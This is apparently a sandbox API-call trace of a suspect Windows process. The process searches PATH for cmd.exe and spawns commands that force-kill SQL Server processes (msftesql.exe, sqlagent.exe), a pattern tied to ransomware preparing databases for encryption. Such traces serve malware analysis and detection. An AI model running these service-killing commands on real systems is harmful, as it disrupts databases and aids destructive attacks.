	[0028.548] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.548] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x123fc6e8 | out: lpFileInformation=0x123fc6e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.548] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.548] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x123fc738 | out: lpFileInformation=0x123fc738*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.548] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.548] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x123fc788 | out: lpFileInformation=0x123fc788*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.549] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.549] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x123fc7d8 | out: lpFileInformation=0x123fc7d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0028.549] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0028.549] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12408270, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0028.549] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc828 | out: lpFileInformation=0x123fc828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0028.549] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12408340, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0028.549] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc878 | out: lpFileInformation=0x123fc878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0028.549] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0028.549] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0028.549] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0028.549] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0028.550] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0028.550] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0028.550] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3
	[0028.550] GetEnvironmentStringsW () returned 0x7eb348*
	[0028.551] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb
	[0028.551] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0028.551] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809
	[0028.551] GetCurrentProcess () returned 0xffffffff
	[0028.551] GetProcAddress (hModule=0x76c20000, lpProcName="DuplicateHandle") returned 0x76c31886
	[0028.551] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xac, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d4690, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d4690*=0xb8) returned 1
	[0028.551] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d4694, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d4694*=0xbc) returned 1
	[0028.551] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x123d4698, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x123d4698*=0xc0) returned 1
	[0028.552] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d
	[0028.552] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im msftesql.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12438000, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im msftesql.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc8, hThread=0xc4, dwProcessId=0xb04, dwThreadId=0xb08)) returned 1
	[0028.758] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410
	[0028.758] CloseHandle (hObject=0xc4) returned 1
	[0028.758] CloseHandle (hObject=0xc0) returned 1
	[0028.758] CloseHandle (hObject=0xbc) returned 1
	[0028.758] CloseHandle (hObject=0xb8) returned 1
	[0028.758] CloseHandle (hObject=0xac) returned 1
	[0028.758] CloseHandle (hObject=0xb0) returned 1
	[0028.758] CloseHandle (hObject=0xb4) returned 1
	[0028.759] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136
	[0028.759] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0
	[0033.416] SetEvent (hEvent=0xa8) returned 1
	[0033.417] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d
	[0033.417] GetExitCodeProcess (in: hProcess=0xc8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0033.417] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessTimes") returned 0x76c4d60f
	[0033.417] GetProcessTimes (in: hProcess=0xc8, lpCreationTime=0x123d6aa0, lpExitTime=0x123d6aa8, lpKernelTime=0x123d6ab0, lpUserTime=0x123d6ab8 | out: lpCreationTime=0x123d6aa0, lpExitTime=0x123d6aa8, lpKernelTime=0x123d6ab0, lpUserTime=0x123d6ab8) returned 1
	[0033.418] CloseHandle (hObject=0xc8) returned 1
	[0033.418] SetEvent (hEvent=0x80) returned 1
	[0033.418] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0033.432] SetEvent (hEvent=0x80) returned 1
	[0033.433] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12440000, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0033.434] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12448008 | out: lpFileInformation=0x12448008*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.434] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.434] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12448058 | out: lpFileInformation=0x12448058*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.434] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.434] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x124480a8 | out: lpFileInformation=0x124480a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.434] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.434] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x124480f8 | out: lpFileInformation=0x124480f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.434] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.434] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12448148 | out: lpFileInformation=0x12448148*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.434] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.435] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12448198 | out: lpFileInformation=0x12448198*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.435] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.435] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x124481e8 | out: lpFileInformation=0x124481e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.435] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.435] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12448238 | out: lpFileInformation=0x12448238*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.435] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.435] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12448288 | out: lpFileInformation=0x12448288*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.435] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.435] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x124482d8 | out: lpFileInformation=0x124482d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.435] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.435] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12448328 | out: lpFileInformation=0x12448328*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.435] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.435] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12448378 | out: lpFileInformation=0x12448378*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0033.435] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0033.436] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124400d0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0033.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124483c8 | out: lpFileInformation=0x124483c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0033.436] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124401a0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0033.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12448418 | out: lpFileInformation=0x12448418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0033.436] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8
	[0033.436] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0033.437] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0033.437] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0033.437] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0033.437] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0033.437] GetEnvironmentStringsW () returned 0x7eb348*
	[0033.438] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0033.438] GetCurrentProcess () returned 0xffffffff
	[0033.438] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238e450, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238e450*=0xac) returned 1
	[0033.438] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238e454, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238e454*=0xb8) returned 1
	[0033.438] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238e458, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238e458*=0xbc) returned 1
	[0033.438] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im sqlagent.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12472000, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im sqlagent.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc4, hThread=0xc0, dwProcessId=0xb54, dwThreadId=0xb58)) returned 1
	[0033.446] CloseHandle (hObject=0xc0) returned 1
	[0033.446] CloseHandle (hObject=0xbc) returned 1
	[0033.446] CloseHandle (hObject=0xb8) returned 1
	[0033.446] CloseHandle (hObject=0xac) returned 1
	[0033.447] CloseHandle (hObject=0xc8) returned 1
	[0033.447] CloseHandle (hObject=0xb4) returned 1
	[0033.447] CloseHandle (hObject=0xb0) returned 1
	[0033.447] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0
	[0033.897] SetEvent (hEvent=0xa8) returned 1
	[0033.897] GetExitCodeProcess (in: hProcess=0xc4, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0033.897] GetProcessTimes (in: hProcess=0xc4, lpCreationTime=0x1238c820, lpExitTime=0x1238c828, lpKernelTime=0x1238c830, lpUserTime=0x1238c838 | out: lpCreationTime=0x1238c820, lpExitTime=0x1238c828, lpKernelTime=0x1238c830, lpUserTime=0x1238c838) returned 1
	[0033.897] CloseHandle (hObject=0xc4) returned 1
	[0033.897] SetEvent (hEvent=0x80) returned 1
	[0033.897] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0033.906] SetEvent (hEvent=0x80) returned 1
	[0033.906] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12408410, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
